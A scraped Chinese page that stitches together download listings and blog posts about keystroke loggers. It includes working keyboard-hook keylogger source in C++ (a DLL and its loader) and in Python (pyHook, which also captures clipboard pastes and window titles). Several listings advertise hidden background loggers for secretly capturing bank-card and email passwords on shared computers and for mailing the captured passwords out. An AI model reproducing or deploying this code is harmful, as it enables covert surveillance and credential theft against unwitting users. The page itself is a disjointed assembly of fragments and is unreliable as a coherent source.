精华内容
下载资源
问答
  • C# 键盘记录 按键记录

    2018-05-11 22:32:07
    C#,键盘记录,按键记录 C#,键盘记录,按键记录 C#,键盘记录,按键记录
  • 本程序编译成exe后,可实现后台运行,记录键盘按键后,可保存至指定的txt文件中,方便后期查阅。
  • 简单的键盘按键记录(无码)

    千次阅读 2020-06-24 08:48:23
    最近看到 一个 样本 ,里面有键盘 按键记录的功能 ,而且 实现也比较 简单,运行 记录 的效果还 不错 。主要思路如下 : //假代码 int i=0; for(i=0;i<0x100;i++) { GetKeyState(i); //参考:...

    最近看到 一个 样本 ,里面有键盘 按键记录的功能 ,而且 实现也比较 简单,运行 记录 的效果还 不错 。主要思路如下 :

       

    //假代码 
     int i=0;
     for(i=0;i<0x100;i++)
     {
          GetKeyState(i);
          //参考:https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate
          //如果有按键 记录,就去获取一些相关信息
          //当前时间 ,活动窗口名等一起记录
      }

     

    展开全文
  • 记录键盘按键记录程序实现

    千次阅读 2010-10-24 10:47:00
    编写键盘记录钩子的DLL函数 2.编写主程序调用DLL文件     一. 在vc6.0新建一个名字为hodll的MFC Appwizard DLL工程 在hodll.h文件里面//main symbols这行下面声明两个全局函数...

    1.编写键盘记录钩子的DLL函数

    2.编写主程序调用DLL文件

     

     

    一.

    在vc6.0新建一个名字为hodll的MFC Appwizard DLL工程

    在hodll.h文件里面//main symbols这行下面声明两个全局函数

    BOOL _declspec(dllexport) _stdcall installhook();//钩子安装函数

    LRESULT _declspec(dllexport) _stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);//回调函数

    在hodll.cpp添加全局变量

    static HHOOK hkb=NULL;//钩子句柄
    HINSTANCE hins; //钩子函数在的模块句柄

     

    char szBuf[256];
    char *p;
    CString msg;

     

    添加主函数代码

    LRESULT _declspec(dllexport) _stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

    {

    if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))
     {
      switch(wParam)
      {
    // ESC F1~F12
      case VK_ESCAPE:record("ESC");break;
      case VK_F1:record("F1");break;

     ......

     ......

    }

    LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
      return RetVal;

    }

     

    void rocord(){}//把字符写到指定txt文件中

     

    BOOL _declspec(dllexport)_stdcall installhook()//钩子安装函数
    {
     hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
     return TRUE;
    }

     

    BOOL _declspec(dllexport) UnHooK()//钩子卸载函数

    {

    BOOL unhooked=UnhookWindowsHookEx(hkb);
     return unhooked;

    }

    BOOL CHodllApp::InitInstance()
    {
     AFX_MANAGE_STATE(AfxGetStaticModuleState());
     hins=AfxGetInstanceHandle();
     GetModuleFileName(AfxGetInstanceHandle(),szBuf,sizeof(szBuf));
     p=szBuf;
     while(strchr(p,'//'))
     {
      p=strchr(p,'//');
      p++;
     }
     *p='/0';
     msg=szBuf;
     return TRUE;
    }

     

    在hodll.def文件中添加

    installhook
    KeyboardProc

     

    DLL函数就可以运行了

     

    二.

    创建testhook的MFC exe基本对话框工程文件

    在窗口初始化函数里面加上代码

    // Add "About..." menu item to system menu.

    //防止多开程序 造成错误

    CreateMutex(NULL,FALSE,"testhook");
     if(GetLastError()==ERROR_ALREADY_EXISTS)
      CDialog::OnOK();

     

    在后面加上

    // TODO: Add extra initialization here

    //创建窗口时 读取DLL文件
     static HINSTANCE hinstDLL;
     typedef BOOL(CALLBACK *inshook)();
     inshook instkbhook;
     if(hinstDLL=LoadLibrary((LPCTSTR)"hodll.dll"))
     {
      instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
      instkbhook();
     }
     else
      AfxMessageBox("DLL No Found");

    然后编译运行

     

    把MFC生成的exe文件与hodll.dll放在同一个目录下 ok了

    展开全文
  • 早上开启,晚上看看自己的一天有多么充实。看看你的键盘让你敲击了多少次!还挺有意思的。
  • 记录键盘按键记录汇编程序,窃取密码,存储、然后在发送,本程序只记录键盘按键记录
  • 只接用全方位全过程的监控按键的系统信息,或者检查健盘各按键是否有效的执行。
  • 键盘记录软件

    2018-11-12 00:05:41
    打开后,软件后台记录键盘的输入,不能记录中文,但是可记录所有的按键记录内容存放在DUMMY.FIL文件中,可以用TXT文件查看
  • 该实例程序使用Qt进行,windows的键盘后台监听,即使Qt桌面程序失去焦点在后台运行,也会捕捉到按键事件 这个程序使用windows的钩子(hook)实现的,Qt官方没有相关的实现 关于编译,我用的是Qt5.9.7 MinGW32位,我...
  • 记录键盘的动作和敲击按键时的时间.zip
  • 以收信方式截取密码发送到邮箱的例程 免杀不好做。本源码仅供学习交流使用,切勿用到非法用途。
  • 本程序为电脑按键发音以及记录程序,用visual c++ 编写。有实现代码,并附有程序实现详细步骤ppt,可以按照ppt自己实现代码!
  • 鼠标键盘按键计算器

    2017-10-28 21:40:52
    开启后可以记录鼠标和按键的次数。可以用于图片点状计数等方面。
  • JS获取键盘上任意按键值的实例代码。需要的朋友可以过来参考下,希望对大家有所帮助
  • 源码很简单,主要就是python黑帽子中键盘记录器的内容。 操作系统环境是win10 64位,环境python2.7, 用到的第三方库pyHook,pythoncom,win32clipboard。这三个库文章最后有资源。 先看运行效果 从上图中可以清楚...

    源码很简单,主要就是python黑帽子中键盘记录器的内容。
    操作系统环境是win10 64位,环境python2.7,
    用到的第三方库pyHook,pythoncom,win32clipboard。这三个库文章最后有资源。
    先看运行效果
    在这里插入图片描述
    从上图中可以清楚看到,首先我在记事本中输入了一些文字,接着打开了Edge浏览器,在百度中搜索了一些内容。

    下面是源码

    # coding=utf-8
    from ctypes import *
    import pythoncom
    import pyHook 
    import win32clipboard
    
    user32   = windll.user32
    kernel32 = windll.kernel32
    psapi    = windll.psapi
    current_window = None
    
    def get_current_process():
    
        # 获得前台窗口句柄
        hwnd = user32.GetForegroundWindow() #1
    
        # 获得进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2
    
        # 保存当前的进程ID
        process_id = "%d" % pid.value
    
        # 申请内存
        executable = create_string_buffer("\x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)  #3
    
        psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4
    
        # 读取窗口标题
        window_title = create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5
    
        # 输出进程相关信息
        print
        print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6
        print
      
    
        # 关闭句柄
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)
    

    第一部分,定义了一些变量和一个函数get_current_process()。
    这个函数的功能时获取当前活动的窗口及对应的进程ID。
    在这个函数中。
    #1 先调用GetForeGroundWindow函数。返回桌面上当前活动窗口的句柄。
    #2 将上面获得的句柄作为参数调用GetWindowThreadProcessId。它返回对应的进程ID。
    #3 打开进程,返回当前进程句柄。
    #4 利用返回的句柄,获得进程对应的可执行文件的名字。
    #5 通过调用GetWindowTextA函数,获得窗口标题栏中显示的文本字符。
    #6 将所有的信息通过一种格式进程输出。

    下面,完成键盘记录器的核心代码

    def KeyStroke(event):
    
        global current_window   
    
        # 检查目标是否切换了窗口
        if event.WindowName != current_window: #1
            current_window = event.WindowName        
            get_current_process()
    
        # 检测按键是否为常规按键(非组合键等)
        if event.Ascii > 32 and event.Ascii < 127: #2
            print chr(event.Ascii),
        else:
            # 如果输入为CTRV-V,则获得剪贴板内容
            if event.Key == "V": #3
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE] - %s" % (pasted_value),
            else:
                print "[%s]" % event.Key,
    
        # 返回直到下一个钩子事件被触发
        return True
    
    # 创建和注册钩子函数管理器
    kl = pyHook.HookManager() #4
    kl.KeyDown = KeyStroke #5
    
    # 注册键盘记录的钩子,然后永久执行
    kl.HookKeyboard() #6
    pythoncom.PumpMessages()
    

    #4 定义了pyHook的HookManager管理器。
    #5 将自定义的回调函数KetStroke 与 KeyDown事件进行了绑定。
    #6 通过PyHook钩住了所有的按键事件,当目标按下键盘上的一个键时,KeyStroe函数就会被调用,它的参数时触发这个事件的对象。

    #1 在这个函数中我们首先要做的时检查用户是否切换了窗口,如果切换了窗口,我们需要重新获取当前窗口的名字及进程信息。

    #2 我们检查按键是否在可输出的ASCII码范围之内,如果是,输出即可,如果按键是修饰键(如Shift/Ctrl或Alt键)或其他非标准的按键,那么我们从事件的对象中提取按键的名称。

    #3 我们检查用户是否在进行粘贴操作,如果是,我们提取剪贴板中的内容。
    最后回调函数返回True来允许执行队列中的下个hook事件。

    其中用到的第三方库和源码
    https://download.csdn.net/download/weixin_39318421/12654631下载

    展开全文
  • c#键盘日志记录实例,可根据自己的需求编写适自己的服务程序后台服务程序。 运行程序后,记录所有点击键盘的数值输出到TXT
  • 自己制作的一款键盘按键捕获工具,支持后台隐藏运行,适用于一般场合的键盘捕获。
  • vb编写。最好用的记录键盘操作程序+代码
  • autoit 获取按下的键盘字母,同时可以根据相应的字母做其他处理动作,同时可以根据相应的字母做其他处理动作,同时可以根据相应的字母做其他处理动作,同时可以根据相应的字母做其他处理动作
  • 记录神器!按键监测

    2020-06-30 15:36:37
    1、双击运行Keyboard.exe 2、开始监测 3、检测生成再D盘目录下,log.txt 4、关闭方法:打开任务管理器,详细信息,找到Keyboard.exe,结束任务。 5、重要说明:请勿用于违法用途,否则后果自负!
  • java 版键盘记录

    2021-03-22 12:30:58
    java 版键盘记录 内附说明 请勿以此攻击别人,妥善使用,后果自负! java 版键盘记录 内附说明 请勿以此攻击别人,妥善使用,后果自负!
  • Visual C++的悄悄在后台记录键盘按键的源程序 在电脑上运行后,可记录所有的键盘按键。 在公用电脑上运行后,可在操作者不知情的情况下记录操作者所有的按键信息,比如银行卡、邮箱的密码等。 仅用于研究之用,...
  • Master Keystroke Logger是一款键盘记录击键记录器。可让您了解其他人在你的电脑做了什么,它是专为隐藏的计算机监控和计算机活动监控。(英文版。需较强的英文功底才可使用)
  • 使用Python语言,基于pynput模块开发的,按键记录和重播的简易按键精灵。
  • 是一种隐蔽的基于 Arduino 的设备,伪装成一个功能正常的 USB 壁式充电器,它无线和被动地嗅探、解密、记录和报告(通过 GSM)来自附近任何 Microsoft 无线键盘的所有击键。 所有击键都在线和本地记录。 SMS 警报...
  • 键盘记录器源码

    2015-09-09 08:38:13
    键盘记录器源码,能过qq密码输入保护, 直接访问键盘控制芯片获取键盘记录
  • 获取ubuntu键盘按键记录

    千次阅读 2017-10-07 22:41:43
    简介 通常一台服务器都会开放权限给运维,开发等用户。...没错,可以借用键盘按键记录器。本文主要介绍如何通过logkeys来记录用户按键记录。 安装 sudo apt-get install logkeys 配置 获取键盘event信息 ca

    简介

    通常一台服务器都会开放权限给运维,开发等用户。随着服务器台数增长,用户交接/离职等,服务器的管理及安全也就成为一个重要的课题。如员工离职在服务器上留后门或恶意代码,这样的场景如何追踪该员工? 没错,可以借用键盘按键记录器。本文主要介绍如何通过logkeys来记录用户按键记录。

    安装

    sudo apt-get install logkeys
    

    配置

    获取键盘event信息
    cat /proc/bus/input/devices
    
    作者的电脑是thinkpad x201i笔记本,信息如下
    I: Bus=0011 Vendor=0001 Product=0001 Version=ab54
    N: Name="AT Translated Set 2 keyboard"
    P: Phys=isa0060/serio0/input0
    S: Sysfs=/devices/platform/i8042/serio0/input/input3
    U: Uniq=
    H: Handlers=sysrq kbd event3 leds 
    B: PROP=0
    B: EV=120013
    B: KEY=402000000 3803078f800d001 feffffdfffefffff fffffffffffffffe
    B: MSC=10
    B: LED=7
    
    其中的H: Handlers=sysrq kbd event3 leds 这行中的event3就是event的号码了。
    键盘对应的keymap设置
    • 安装console-data
    sudo apt-get install console-data
    
    • 选择对应的keymap keymap1 keymap2 keymap3
      • 选择错时,重新配置keymap
    sudo dpkg-reconfigure console-data
    
    控制台键盘设置
    • 查看当前键盘设置
       System Locale: LANG=en_US.UTF-8
                      ...
           VC Keymap: n/a
          X11 Layout: n/a
           X11 Model: pc105
    
    • 查看当前系统支持的keymaps
    find /usr/share/keymaps/ -type f
    
    • 加载对应的keymap
    sudo loadkeys us //us可以替换成其它对应的
    

    使用logkeys

    启动程序
    sudo logkeys -s -o ~/logtest.txt -d /dev/input/event3
    
    • -s start
    • -o 日志数据输出到文件
    • d 输入设备的信息
    输入设备的信息 由前面介绍的命令 cat /proc/bus/input/devices 获取。
    停止程序
    sudo logkeys -k
    

    效果图

    keylogs效果图

    参考链接

    https://qiita.com/wakaba130/items/8bd1e0b6437723eee379

    查看原文:http://www.huuinn.com/archives/240
    更多技术干货:风匀坊
    关注公众号:风匀坊
    展开全文
  • 易语言按键记录器 1.0源码,按键记录器 1.0,取信息,键盘处理程序,判断窗口条件,运行脚本程序,写入键盘脚本,鼠标处理程序,写入鼠标脚本,窗口名,置时间,取时间,置脚本类型,取脚本类型,置按键代码,取按键代码,置鼠标坐标...
  • 可以记录输入记录的输入法(包括汉字,字母和数字),不能记录qq密码. 内含强大词库,完全满输入需要....记录保存在C:\windows\按键.txt 按Ctrl键可以暂停和启用输入法. 欢迎大家反馈bug帮助改善程序.
  • 键盘记录器klogger

    2019-01-10 11:12:40
    一个几kb的击键记录工具,运行后会在当前目录生成KLOGGER.TXT文件,里面记录所有的击键按键

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 37,122
精华内容 14,848
关键字:

如何记录键盘按键记录